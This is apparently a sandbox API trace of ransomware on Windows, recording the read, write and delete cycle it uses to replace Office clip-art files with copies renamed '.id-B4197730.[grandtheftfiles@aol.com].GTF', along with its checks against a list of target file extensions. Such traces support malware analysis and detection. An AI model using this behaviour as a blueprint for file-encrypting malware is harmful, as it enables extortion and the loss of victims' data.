	[0085.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220
	[0085.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.384] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.384] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.384] GetLastError () returned 0x0
	[0085.384] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x78c, lpOverlapped=0x0) returned 1
	[0085.386] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x790, lpOverlapped=0x0) returned 1
	[0085.387] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.387] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.387] SetEndOfFile (hFile=0x35c) returned 1
	[0085.387] CloseHandle (hObject=0x35c) returned 1
	[0085.388] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.388] SetEndOfFile (hFile=0x378) returned 1
	[0085.389] CloseHandle (hObject=0x378) returned 1
	[0085.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1
	[0085.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.389] lstrlenW (lpString=".doc") returned 4
	[0085.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.389] lstrlenW (lpString=".docx") returned 5
	[0085.389] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.389] lstrlenW (lpString=".pdf") returned 4
	[0085.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.389] lstrlenW (lpString=".xls") returned 4
	[0085.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.389] lstrlenW (lpString=".xlsx") returned 5
	[0085.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.389] lstrlenW (lpString=".ppt") returned 4
	[0085.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.390] lstrlenW (lpString=".zip") returned 4
	[0085.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.390] lstrlenW (lpString=".rar") returned 4
	[0085.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString=".bz2") returned 4
	[0085.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString=".7z") returned 3
	[0085.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.390] lstrlenW (lpString=".dbf") returned 4
	[0085.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.390] lstrlenW (lpString=".1cd") returned 4
	[0085.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.390] lstrlenW (lpString=".jpg") returned 4
	[0085.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.390] lstrlenW (lpString=".doc") returned 4
	[0085.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString=".docx") returned 5
	[0085.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.390] lstrlenW (lpString=".pdf") returned 4
	[0085.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString=".xls") returned 4
	[0085.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.390] lstrlenW (lpString=".xlsx") returned 5
	[0085.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.390] lstrlenW (lpString=".ppt") returned 4
	[0085.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.390] lstrlenW (lpString=".zip") returned 4
	[0085.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.391] lstrlenW (lpString=".rar") returned 4
	[0085.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.391] lstrlenW (lpString=".bz2") returned 4
	[0085.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.391] lstrlenW (lpString=".7z") returned 3
	[0085.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.391] lstrlenW (lpString=".dbf") returned 4
	[0085.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.391] lstrlenW (lpString=".1cd") returned 4
	[0085.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0085.391] lstrlenW (lpString=".jpg") returned 4
	[0085.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.391] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.391] lstrlenW (lpString="DD00448_.WMF") returned 12
	[0085.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.391] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2952) returned 1
	[0085.391] CloseHandle (hObject=0x378) returned 1
	[0085.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220
	[0085.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.392] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.392] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.392] GetLastError () returned 0x0
	[0085.392] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xb88, lpOverlapped=0x0) returned 1
	[0085.394] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xb90, lpOverlapped=0x0) returned 1
	[0085.395] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.395] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.395] SetEndOfFile (hFile=0x35c) returned 1
	[0085.395] CloseHandle (hObject=0x35c) returned 1
	[0085.396] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.396] SetEndOfFile (hFile=0x378) returned 1
	[0085.397] CloseHandle (hObject=0x378) returned 1
	[0085.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1
	[0085.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.397] lstrlenW (lpString=".doc") returned 4
	[0085.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.397] lstrlenW (lpString=".docx") returned 5
	[0085.397] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.397] lstrlenW (lpString=".pdf") returned 4
	[0085.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.397] lstrlenW (lpString=".xls") returned 4
	[0085.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.397] lstrlenW (lpString=".xlsx") returned 5
	[0085.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.397] lstrlenW (lpString=".ppt") returned 4
	[0085.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.398] lstrlenW (lpString=".zip") returned 4
	[0085.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.398] lstrlenW (lpString=".rar") returned 4
	[0085.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString=".bz2") returned 4
	[0085.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString=".7z") returned 3
	[0085.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.398] lstrlenW (lpString=".dbf") returned 4
	[0085.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.398] lstrlenW (lpString=".1cd") returned 4
	[0085.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.398] lstrlenW (lpString=".jpg") returned 4
	[0085.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.398] lstrlenW (lpString=".doc") returned 4
	[0085.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString=".docx") returned 5
	[0085.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.398] lstrlenW (lpString=".pdf") returned 4
	[0085.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString=".xls") returned 4
	[0085.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.398] lstrlenW (lpString=".xlsx") returned 5
	[0085.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.398] lstrlenW (lpString=".ppt") returned 4
	[0085.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.398] lstrlenW (lpString=".zip") returned 4
	[0085.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.399] lstrlenW (lpString=".rar") returned 4
	[0085.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.399] lstrlenW (lpString=".bz2") returned 4
	[0085.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.399] lstrlenW (lpString=".7z") returned 3
	[0085.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.399] lstrlenW (lpString=".dbf") returned 4
	[0085.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.399] lstrlenW (lpString=".1cd") returned 4
	[0085.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0085.399] lstrlenW (lpString=".jpg") returned 4
	[0085.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.399] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.399] lstrlenW (lpString="DD00449_.WMF") returned 12
	[0085.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.399] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=9992) returned 1
	[0085.399] CloseHandle (hObject=0x378) returned 1
	[0085.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220
	[0085.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.400] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.400] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.400] GetLastError () returned 0x0
	[0085.400] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2708, lpOverlapped=0x0) returned 1
	[0085.744] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2710, lpOverlapped=0x0) returned 1
	[0085.767] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.767] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.768] SetEndOfFile (hFile=0x35c) returned 1
	[0085.768] CloseHandle (hObject=0x35c) returned 1
	[0085.768] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.768] SetEndOfFile (hFile=0x378) returned 1
	[0085.769] CloseHandle (hObject=0x378) returned 1
	[0085.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1
	[0085.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.769] lstrlenW (lpString=".doc") returned 4
	[0085.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.769] lstrlenW (lpString=".docx") returned 5
	[0085.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.769] lstrlenW (lpString=".pdf") returned 4
	[0085.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.769] lstrlenW (lpString=".xls") returned 4
	[0085.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.770] lstrlenW (lpString=".xlsx") returned 5
	[0085.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.770] lstrlenW (lpString=".ppt") returned 4
	[0085.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.770] lstrlenW (lpString=".zip") returned 4
	[0085.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.770] lstrlenW (lpString=".rar") returned 4
	[0085.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString=".bz2") returned 4
	[0085.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString=".7z") returned 3
	[0085.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.770] lstrlenW (lpString=".dbf") returned 4
	[0085.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.770] lstrlenW (lpString=".1cd") returned 4
	[0085.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.770] lstrlenW (lpString=".jpg") returned 4
	[0085.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.770] lstrlenW (lpString=".doc") returned 4
	[0085.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString=".docx") returned 5
	[0085.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.770] lstrlenW (lpString=".pdf") returned 4
	[0085.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString=".xls") returned 4
	[0085.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.770] lstrlenW (lpString=".xlsx") returned 5
	[0085.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.770] lstrlenW (lpString=".ppt") returned 4
	[0085.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.771] lstrlenW (lpString=".zip") returned 4
	[0085.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.771] lstrlenW (lpString=".rar") returned 4
	[0085.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.771] lstrlenW (lpString=".bz2") returned 4
	[0085.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.771] lstrlenW (lpString=".7z") returned 3
	[0085.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.771] lstrlenW (lpString=".dbf") returned 4
	[0085.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.771] lstrlenW (lpString=".1cd") returned 4
	[0085.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0085.771] lstrlenW (lpString=".jpg") returned 4
	[0085.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.771] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.771] lstrlenW (lpString="DD01160_.WMF") returned 12
	[0085.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
